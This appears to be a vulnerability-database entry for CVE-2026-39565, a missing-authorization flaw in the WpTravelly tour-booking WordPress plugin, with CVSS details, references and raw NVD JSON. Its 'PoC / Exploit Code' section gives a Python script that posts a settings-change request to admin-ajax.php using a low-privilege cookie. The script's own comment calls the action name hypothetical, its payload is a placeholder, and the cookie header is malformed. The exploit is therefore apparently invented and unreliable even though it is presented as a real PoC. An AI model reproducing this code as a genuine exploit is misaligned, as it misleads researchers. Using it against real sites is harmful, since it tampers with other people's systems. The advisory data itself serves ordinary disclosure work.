CVE-2026-39565

Description

Missing Authorization vulnerability in magepeopleteam WpTravelly tour-booking-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpTravelly: from n/a through <= 2.1.7.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WpTravelly <= 2.1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url, low_priv_cookie):
    """
    PoC for CVE-2026-39565: Missing Authorization in WpTravelly
    """
    # The vulnerable endpoint is typically admin-ajax.php
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to trigger an action without proper authorization
    payload = {
        "action": "wptravelly_update_settings", # Hypothetical action name
        "data": "malicious_config_data"
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Cookie": f"wordpress_logged_in_{low_priv_cookie}"
    }
    
    try:
        response = requests.post(endpoint, data=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if settings were changed.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage
# exploit_missing_auth("http://target-site.com", "session_cookie_value")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39565
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39565
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39565/
[4] VulDB https://vuldb.com/cve/CVE-2026-39565
[5] https://patchstack.com/database/Wordpress/Plugin/tour-booking-manager/vulnerability/wordpress-wptravelly-plugin-2-1-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39565", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:27.790", "lastModified": "2026-04-29T10:17:28.670", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in magepeopleteam WpTravelly tour-booking-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpTravelly: from n/a through <= 2.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tour-booking-manager/vulnerability/wordpress-wptravelly-plugin-2-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}